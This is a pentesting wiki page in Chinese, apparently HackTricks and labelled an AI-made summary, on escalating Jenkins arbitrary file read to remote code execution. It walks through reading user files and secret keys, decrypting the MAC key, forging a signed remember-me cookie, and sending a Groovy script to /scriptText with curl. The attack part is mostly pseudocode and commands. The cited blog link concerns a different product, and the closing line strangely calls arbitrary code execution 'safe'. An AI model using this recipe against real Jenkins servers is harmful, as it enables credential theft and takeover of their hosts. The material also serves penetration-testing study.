Jenkins Arbitrary File Read to RCE via "Remember Me"

支持 HackTricks

在这篇博客文章中,可以找到将 Jenkins 中的本地文件包含漏洞转化为 RCE 的绝佳方法:https://blog.securelayer7.net/spring-cloud-skipper-vulnerability/

这是一个 AI 创建的摘要,内容涉及如何利用任意 cookie 来获取 RCE,直到我有时间自己创建摘要为止:

攻击前提

  • 功能要求: 必须启用“记住我”(默认设置)。

  • 访问级别: 攻击者需要整体/读取权限。

  • 秘密访问: 能够读取关键文件中的二进制和文本内容。

详细利用过程

第一步:数据收集

用户信息检索

  • 访问每个用户的用户配置和秘密,位于 $JENKINS_HOME/users/*.xml,以收集:

  • 用户名

  • 用户种子

  • 时间戳

  • 密码哈希

密钥提取

  • 提取用于签名 cookie 的加密密钥:

  • 秘密密钥: $JENKINS_HOME/secret.key

  • 主密钥: $JENKINS_HOME/secrets/master.key

  • MAC 密钥文件: $JENKINS_HOME/secrets/org.springframework.security.web.authentication.rememberme.TokenBasedRememberMeServices.mac

令牌准备

  • 计算令牌过期时间:

tokenExpiryTime = currentServerTimeInMillis() + 3600000  // 当前时间加一小时
  • 连接令牌数据:

token = username + ":" + tokenExpiryTime + ":" + userSeed + ":" + secretKey

MAC 密钥解密

  • 解密 MAC 密钥文件:

key = toAes128Key(masterKey)  // 将主密钥转换为 AES128 密钥格式
decrypted = AES.decrypt(macFile, key)  // 解密 .mac 文件
if not decrypted.hasSuffix("::::MAGIC::::")
return ERROR;
macKey = decrypted.withoutSuffix("::::MAGIC::::")

签名计算

  • 计算 HMAC SHA256:

mac = HmacSHA256(token, macKey)  // 使用令牌和 MAC 密钥计算 HMAC
tokenSignature = bytesToHexString(mac)  // 将 MAC 转换为十六进制字符串

Cookie 编码

  • 生成最终 Cookie:

cookie = base64.encode(username + ":" + tokenExpiryTime + ":" + tokenSignature)  // Base64 编码 cookie 数据

第三步:代码执行

会话认证

  • 获取 CSRF 和会话令牌:

  • 请求 /crumbIssuer/api/json 以获取 Jenkins-Crumb

  • 从响应中捕获 JSESSIONID,该 ID 将与记住我 cookie 一起使用。

命令执行请求

  • 发送带有 Groovy 脚本的 POST 请求:

curl -X POST "$JENKINS_URL/scriptText" \
--cookie "remember-me=$REMEMBER_ME_COOKIE; JSESSIONID...=$JSESSIONID" \
--header "Jenkins-Crumb: $CRUMB" \
--header "Content-Type: application/x-www-form-urlencoded" \
--data-urlencode "script=$SCRIPT"
  • Groovy 脚本可用于在 Jenkins 环境中执行系统级命令或其他操作。

提供的示例 curl 命令演示了如何使用必要的头和 cookie 向 Jenkins 发出请求,以安全地执行任意代码。

支持 HackTricks

Last updated